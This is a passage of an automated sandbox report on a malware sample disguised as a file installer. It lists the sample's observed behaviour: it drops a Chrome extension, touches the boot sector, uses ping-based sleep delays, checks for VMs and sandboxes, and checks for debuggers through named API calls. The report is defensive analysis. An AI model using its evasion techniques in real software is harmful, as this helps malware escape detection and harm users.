Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\background.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\book.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\jquery-1.8.3.min.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\popup.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\manifest.json			Jump to behavior

Boot Survival:

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d		3_2_1001DA70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D7E0

Hooking and other Techniques for Hiding and Protection:

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

0_2_004560A0

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\SysWOW64\msiexec.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_100204C0

3_2_100204C0

Uses ping.exe to sleep

Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Contains functionality to read device registry values (via SetupAPI)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_10019780 SetupDiGetDeviceRegistryPropertyA,GetLastError,_memset,SetupDiGetDeviceRegistryPropertyA,

3_2_10019780

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\download_engine.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\xldl.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\msvcp71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\zlib1.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\atl71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll			Jump to dropped file

May check if the current machine is a sandbox (GetTickCount - Sleep)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_100204C0

3_2_100204C0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe TID: 5700	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe TID: 6708	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe TID: 7100	Thread sleep time: -60000s >= -30000s			Jump to behavior

Queries disk information (often used to detect virtual machines)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

File opened: PhysicalDrive0

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Checks the free space of harddrives

Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004C2B17 __getdrive,FindFirstFileA,_strlen,_IsRootUNCName,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,___dtoxmode,GetLastError,FindClose,		0_2_004C2B17
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1001A170 FindFirstFileA,FindClose,		3_2_1001A170

Contains functionality to query local drives

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_0041E22C GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

0_2_0041E22C

Contains functionality to query system information

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_00412C23 GetCurrentProcess,GetModuleHandleW,GetModuleHandleW,GetProcAddress,_memset,GetVersionExW,GetModuleHandleW,GetProcAddress,GetSystemInfo,

0_2_00412C23

Enumerates the file system

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: 6852B33702F6B3BD.exe, 00000003.00000003.711669903.00000000030DA000.00000004.00000001.sdmp	Binary or memory string: SystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}i&p*:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.776083753.0000000002D9D000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000003.690850818.0000000002D8D000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDMicrosoft Print to PDF{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}
Source: 6852B33702F6B3BD.exe, 00000003.00000003.711697104.00000000030D7000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter}
Source: 6852B33702F6B3BD.exe, 00000003.00000003.711669903.00000000030DA000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystem
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725138039.000000000310A000.00000004.00000001.sdmp	Binary or memory string: SystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}
Source: 6852B33702F6B3BD.exe, 00000003.00000003.711966428.00000000030DD000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI
Source: 6852B33702F6B3BD.exe, 00000004.00000003.691038608.0000000002219000.00000004.00000001.sdmp	Binary or memory string: {72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}#j
Source: 6852B33702F6B3BD.exe, 00000003.00000003.686568232.0000000002D71000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000003.690684605.0000000002D61000.00000004.00000001.sdmp	Binary or memory string: NetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDMicrosoft Print to PDF{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}
Source: ecv732A.tmp.9.dr	Binary or memory string: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20200930T073555Z&lc=en-US&pl=en-US&idtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6a3c8a0dfd1d45a89d361630d7c0464c&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=663203&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=663203&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725377944.00000000030F7000.00000004.00000001.sdmp	Binary or memory string: {4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}
Source: 6852B33702F6B3BD.exe, 00000003.00000003.711669903.00000000030DA000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000003.690850818.0000000002D8D000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: FileSetup-v17.04.41.exe, 00000000.00000002.688753176.0000000000831000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: 6852B33702F6B3BD.exe, 00000004.00000002.708831252.000000000019B000.00000004.00000010.sdmp	Binary or memory string: VMware Virtual disk 2.0
Source: FileSetup-v17.04.41.exe, 00000000.00000002.688720441.00000000007EA000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW(
Source: 6852B33702F6B3BD.exe, 00000003.00000003.711966428.00000000030DD000.00000004.00000001.sdmp	Binary or memory string: WAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}
Source: 6852B33702F6B3BD.exe, 00000004.00000002.708831252.000000000019B000.00000004.00000010.sdmp	Binary or memory string: VMware
Source: 6852B33702F6B3BD.exe, 00000003.00000003.686650406.0000000002A89000.00000004.00000001.sdmp	Binary or memory string: {72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}
Source: 6852B33702F6B3BD.exe, 00000003.00000003.711966428.00000000030DD000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}

Queries a list of all running processes

Source: C:\Users\user\AppData\Roaming\1611913544586.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_10019FF0 GetCurrentProcess,CheckRemoteDebuggerPresent,

3_2_10019FF0

Hides threads from debuggers

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugObjectHandle			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugFlags			Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_00490470 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00490470

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

